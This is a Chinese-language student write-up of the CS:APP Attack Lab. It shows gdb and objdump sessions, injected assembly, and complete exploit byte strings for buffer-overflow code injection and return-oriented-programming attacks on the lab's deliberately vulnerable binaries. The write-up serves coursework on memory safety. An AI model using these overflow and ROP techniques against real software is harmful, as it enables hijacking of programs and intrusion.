CSAPP--Attack Lab实验记录

CSAPP–Attack Lab实验记录

前言

这个实验是csapp lab系列的第三个实验,实验内容主要是通过一些“攻击”手段,让我们了解缓冲区溢出隐患以及如何利用缓冲区溢出对现有的程序进行控制流劫持、执行非法程序……

实验准备

实验资料

相关知识

c语言对数组的引用不进行任何边界检查,而局部变量和状态信息(如保存寄存器的值和返回地址)都放到了栈中。多数组进行写操作越界的时候,会破环存储在栈中的状态信息。当程序使用这个被破环的状态,试图重新加载寄存器或执行ret指令时,就会出现很严重的错误。例如,缓冲区溢出

下面通过书上的例子,说明问题:

/** echo.c  参照书籍中的代码*/

#include <stdio.h>
#include <stdlib.h>

void explosion(){
    printf("!!!You touch the explosion");
    exit(0);
}

/* Implementation of library function gets() */
char *custom_gets(char *s){
    int c;
    char *dest = s;
    while((c = getchar()) != '\n' && c != EOF)
        *dest++ = c;
    if(c == EOF && dest == s)
        /* No characters read */
        return NULL;
    *dest++ = '\0'; /* Terminate string */
    return s;
}

/** Read input line and write it back */
void echo(){
    char buf[8];
    custom_gets(buf);
    puts(buf);
}

int main(int argc, char* argv[]){
    echo();
    return 0;
}

检查GCC 为 echo产生的汇编代码,看看栈是如何组织的:

echo:
    subq    $24, %rsp
    movq    %rsp, %rdi
    call    custom_gets
    movq    %rsp, %rdi
    call    puts
    addq    $24, %rsp
    ret

从汇编代码中可以看出,该程序在栈上为字符数组分配了24个字节。所以用户定义的字符数组为8个字节,意味着即使用户输入超过8个字节也不一定会对栈的状态信息造成破坏。但是如果用户输入超过23个字节,则会将echo的返回地址给破坏,这就是缓冲区溢出漏洞。

image-20211208143409947

实验目录

首先下载实验文件,然后解压,可以看到lab的目录如下:

  • cookie.txt 一个8为16进行数,作为攻击的特殊标志符

  • farm.c 在ROP攻击中作为gadgets的产生源

  • ctarget 代码注入攻击的目标文件

  • rtarget ROP攻击的目标文件

  • hex2row 将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符

实验内容

Part I: Code Injection Attacks

level 1

For Phase 1, you will not inject new code. Instead, your exploit string will redirect the program to execute an existing procedure.

Function getbuf is called within CTARGET by a function test having the following C code:

 void test()
{
     int val;
     val = getbuf();
     printf("No exploit. Getbuf returned 0x%x\n", val);
}

When getbuf executes its return statement (line 5 of getbuf), the program ordinarily resumes execution within function test (at line 5 of this function). We want to change this behavior. Within the file ctarget, there is code for a function touch1 having the following C representation:

void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directly related to this stage, but this will not cause a problem, since touch1 causes the program to exit directly.

Some Advice:

  • All the information you need to devise your exploit string for this level can be determined by examining a disassembled version of CTARGET. Use objdump -d to get this dissembled version.
  • The idea is to position a byte representation of the starting address for touch1 so that the ret instruction at the end of the code for getbuf will transfer control to touch1.
  • Be careful about byte ordering. •
  • You might want to use GDB to step the program through the last few instructions of getbuf to make sure it is doing the right thing.
  • The placement of buf within the stack frame for getbuf depends on the value of compile-time constant BUFFER_SIZE, as well the allocation strategy used by GCC. You will need to examine the disassembled code to determine its position.

上面是level 的实验任务介绍,大体意思就是让我们对 ctarget这个程序的test函数中调用的getbuf函数进行输入内容,利用溢出,调用touch1函数。

首先我们可以反编译整个ctarget输出内容daoctarget.asm文件中(推荐)

$ objdump -d ctarget > ctarget.asm 

这样就可以得到整个程序的汇编内容。或者也可以利用gdb disas命令查看想要查看的函数的汇编代码:

(gdb) disas touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:     sub    $0x8,%rsp
   0x00000000004017c4 <+4>:     movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>

而我们现在主要需要关注的是testgetbuf函数,因为要观察它们的缓冲区大小,才能直到溢出的临界值是多少,在ctarget.asm 文件中查找这两个函数名,得到它们的汇编代码:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop
  
  ......
  
  0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	callq  400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	retq   
  401991:	90                   	nop
  401992:	90                   	nop
  401993:	90                   	nop
  401994:	90                   	nop
  401995:	90                   	nop
  401996:	90                   	nop
  401997:	90                   	nop
  401998:	90                   	nop
  401999:	90                   	nop
  40199a:	90                   	nop
  40199b:	90                   	nop
  40199c:	90                   	nop
  40199d:	90                   	nop
  40199e:	90                   	nop
  40199f:	90                   	nop
  

可以看到sub $0x28,%rsp这里就是在栈上分配给缓冲区的大小空间:0x28 = 40字节。所以只需要在输入40字节内容 后面再加上 touch1的地址的话,就能将原来test函数的地址覆盖,retq指令将跳转到touch1。我们试验一下:

首先,查看一下touch1的地址

0x00000000004017c0

然后新建一个文件ctarget.l1.txt用来存储我们输入的内容,这里前40个字节 都用 00 来填充,最后输入touch1的地址,注意,这里的地址是反过来写,因为机器存的是小端序,低位字节存在低位地址:

$ vim ctarget.l1.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40

然后运行看看结果:

$ ./hex2raw -i ctarget.l1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40

顺利完成!

level 2

Phase 2 involves injecting a small amount of code as part of your exploit string. Within the file ctarget there is code for a function touch2 having the following C representation:

 void touch2(unsigned val)
 {
     vlevel = 2; /* Part of validation protocol */
 	if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
     } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
     }
 	exit(0);
 }

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

Some Advice:

  • You will want to position a byte representation of the address of your injected code in such a way that ret instruction at the end of the code for getbuf will transfer control to it.
  • Recall that the first argument to a function is passed in register %rdi.
  • Your injected code should set the register to your cookie, and then use a ret instruction to transfer control to the first instruction in touch2.
  • Do not attempt to use jmp or call instructions in your exploit code. The encodings of destination addresses for these instructions are difficult to formulate. Use ret instructions for all transfers of control, even when you are not returning from a call.
  • See the discussion in Appendix B on how to use tools to generate the byte-level representations of instruction sequences.

从上文可以看到,这个任务主要是让我们注入一段代码,执行touch2函数,然后比较传入的val是否与cookie值相等,相等则成功。实验要求我们不能通过jmp或者call指令来跳转,只能通过ret

ret是从栈上弹出返回地址,所以要想跳转至touch2,那么我们就需要在栈顶弹入touch2的地址。

所以我们可以先整理一下思路:

  1. ctarget.asm文件中查看touch2函数的地址
  2. 编写插入的汇编代码,然后编译得到指令
  3. 将指令插入到我们需要输入的字符串开头
  4. 在末尾插入跳转的地址(%rsp)

image-20211208163227518

首先,查看touch2函数的地址

0x4017ec

接着,获取%rsp 的值0x5561dc78

$ gdb ctarget

(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/lincx/c++/CSAPP-Labs-master/labs/source/labfile/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) stepi
14      in buf.c
(gdb) p /x %rsp
A syntax error in expression, near `%rsp'.
(gdb) p /x $rsp
$1 = 0x5561dc78

然后,新建ctarget.s文件编写插入的汇编代码:

mov   $0x59b997fa,%rdi
pushq $0x4017ec
ret

编译,得到汇编指令48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

$ objdump -d ctarget2.o > ctarget2insert.asm

$ vim ctarget2insert.asm


ctarget2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00    pushq  0x4017ec
   e:   c3                      retq

构造输入字符,新建ctarget.l2.txt

$ vim ctarget.l2.txt

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

执行命令,查看结果:

$  ./hex2raw -i ctarget.l2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

level 3

Phase 3 also involves a code injection attack, but passing a string as argument. Within the file ctarget there is code for functions hexmatch and touch3 having the following C representations:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
	char cbuf[110];
	/* Make position of check string unpredictable */
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.

Some Advice:

  • You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”
  • Recall that a string is represented in C as a sequence of bytes followed by a byte with value 0. Type “man ascii” on any Linux machine to see the byte representations of the characters you need.
  • Your injected code should set register %rdi to the address of this string.
  • When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.

与前面不同的是,这次传进的参数是一个字符串,同时函数内部用了另外一个函数来比较。本次要 比较的是"59b997fa"这个字符串。

上面提示的第四点,当调用hexmatchstrncmp时,他们会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置必须小心谨慎。

char *s = cbuf + random() % 100;

这一行,s的位置是随机的,可能覆盖掉之前getbuf的内容。所以不能将字符串保存在getbuf中,我们可以将字符串保存到父栈帧test中。

(gdb) disas test
Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    $0x8,%rsp
   0x000000000040196c <+4>:     mov    $0x0,%eax
   0x0000000000401971 <+9>:     callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:    mov    %eax,%edx
   0x0000000000401978 <+16>:    mov    $0x403188,%esi
   0x000000000040197d <+21>:    mov    $0x1,%edi
   0x0000000000401982 <+26>:    mov    $0x0,%eax
   0x0000000000401987 <+31>:    callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:    add    $0x8,%rsp
   0x0000000000401990 <+40>:    retq
(gdb) break *0x40196c
Breakpoint 1 at 0x40196c: file visible.c, line 92.
(gdb) run -q
Starting program: /home/lincx/c++/CSAPP-Labs-master/labs/source/labfile/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:92
92      visible.c: No such file or directory.
(gdb) print /x $rsp
$1 = 0x5561dca8

所以我们可以:

  1. cookie的值转为16进制
  2. 然后写到test栈帧中,再将地址传到%rdi
  3. touch3地址压栈,同level 2

image-20211208174944524

首先,编写汇编代码:

mov $0x5561dca8,%rdi
pushq $0x4018fa
ret

编译,查看指令:

$ gcc -c ctarget3.s
$ objdump -d ctarget3.o > ctarget3insert.asm
$ cat ctarget3insert.asm

ctarget3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq

查看man ascii将cookie 59b997fa 转换为16进制:35 39 62 39 39 37 66 61

输入文件:

48 c7 c7 a8 dc 61 55 68 fa 18
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 35 39
62 39 39 37 66 61

执行命令,查看结果

$ ./hex2raw -i ctarget.l3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61

Part II: Return-Oriented Programming

在ROP攻击中设置了栈随机化,所以我们不能像前面三个一样定位到精确地址插入代码。为了实现攻击,我们要在已经给定的代码中找到特定的指令序列,这些序列以ret结尾,我们把这些命令叫做gadget.

image-20211208180538719

level 2

For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi).

Some Advice:

  • All the gadgets you need can be found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.
  • You can do this attack with just two gadgets.
  • When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.

这个跟上面的ctargetlevel 2要求差不多,都是调用touch2,只不过这里要求在rtarget。根据第一点提示,所有用到的 gadgetsstart_farmmid_farm之间找。所以先将farm.c转换成指令

$ gcc -c -Og farm.c #这里 不加-Og 会采用 stack frame pointer,而rtarget没有用该指针
$ objdump -d farm.o > farm.asm
$ cat farm.asm

0000000000000000 <start_farm>:
   0:   f3 0f 1e fa             endbr64
   4:   b8 01 00 00 00          mov    $0x1,%eax
   9:   c3                      retq

000000000000000a <getval_142>:
   a:   f3 0f 1e fa             endbr64
   e:   b8 fb 78 90 90          mov    $0x909078fb,%eax
  13:   c3                      retq

0000000000000014 <addval_273>:
  14:   f3 0f 1e fa             endbr64
  18:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  1e:   c3                      retq

000000000000001f <addval_219>:
  1f:   f3 0f 1e fa             endbr64
  23:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  29:   c3                      retq

000000000000002a <setval_237>:
  2a:   f3 0f 1e fa             endbr64
  2e:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  34:   c3                      retq

0000000000000035 <setval_424>:
  35:   f3 0f 1e fa             endbr64
  39:   c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)
  3f:   c3                      retq

0000000000000040 <setval_470>:
  40:   f3 0f 1e fa             endbr64
  44:   c7 07 63 48 8d c7       movl   $0xc78d4863,(%rdi)
  4a:   c3                      retq

000000000000004b <setval_426>:
  4b:   f3 0f 1e fa             endbr64
  4f:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  55:   c3                      retq

0000000000000056 <getval_280>:
  56:   f3 0f 1e fa             endbr64
  5a:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  5f:   c3                      retq
  
  0000000000000056 <getval_280>:
  56:   f3 0f 1e fa             endbr64
  5a:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  5f:   c3                      retq

0000000000000060 <mid_farm>:
  60:   f3 0f 1e fa             endbr64
  64:   b8 01 00 00 00          mov    $0x1,%eax
  69:   c3                      retq

根据提示,只需要其中的两个,而我们大致的思路可以将cookie放到%rdi,把touch2的地址放到栈中,以ret执行。那么需要一个mov popq指令。

pop会把栈顶的cookie弹出到另外一个寄存器,再用mov命令写到%rdi里。

下面是movpop的字节编码表:

image-20211208183013325

image-20211208183027370

我们想要的代码:

popq %rax #将栈顶8个字节内存储的值赋值给rax寄存器,并将栈顶指针向上移动八个字节
movq %rax,%rdi

在上表找 popq %rax对应的指令是 58movq %rax,%rdi对应的指令是 48 89 c7。因为farm.c里边的函数已经整合进rtarget了,所以回到rtarget.asm中找,找到这两个:

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

由上面的代码中可以看到,pop开始的地址为4019abmov开始的地址为4019a2

image-20211209092022105

查看touch2地址为

0x4017ec

所以我们输入的内容到rtarget.l2.txt为:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 fa 97
b9 59 00 00 00 00 a2 19 40 00
00 00 00 00 ec 17 40 00 00 00
00 00

结果:

$ ./hex2raw -i rtarget.l2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

level 3

Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.

To solve Phase 5, you can use gadgets in the region of the code in rtarget demarcated by functions start_farm and end_farm. In addition to the gadgets used in Phase 4, this expanded farm includes the encodings of different movl instructions, as shown in Figure 3C. The byte sequences in this part of the farm also contain 2-byte instructions that serve as functional nops, i.e., they do not change any register or memory values. These include instructions, shown in Figure 3D, such as andb %al,%al, that operate on the low-order bytes of some of the registers but do not change their values.

Some Advice:

  • You’ll want to review the effect a movl instruction has on the upper 4 bytes of a register, as is described on page 183 of the text.
  • The official solution requires eight gadgets (not all of which are unique).

这里我们需要做的就是将字符串的起始地址,传送到 %rdi然后调用touch3函数。但是因为每次栈的位置都是随机的,无法直接用地址来找到字符串的位置,所以我们只能通过栈顶+偏移量来代替原来的方案。从farm中找不到add相关的指令,但是找到了lea (%rdi,%rsi,1),%rax代替 add

具体操作:

  1. 将栈顶地址 %rsp 赋值给 %rdi
  2. 将偏移量bias 赋值给 %rsi
  3. 栈顶+偏移量放到%rdi
  4. 调用touch3

image-20211209095756418

这里的偏移量是,返回地址与字符串首地址之间有9条指令,每个指令8个byte,一共72字节,72=0x48。

这里不能直接 mov %rax %rsi,因为farm中没有这条指令。

分别找到这些指令的起始地址:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61 00

输出到rtarget.l3.txt,执行查看结果

$ ./hex2raw -i rtarget.l3.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

成功!

总结

这次实验对gdb等工具的使用有了更进一步的了解,除此之外对,这种缓冲区溢出带来的漏洞认识更深了,最深刻的就是对栈上面的内容排布等很熟悉了。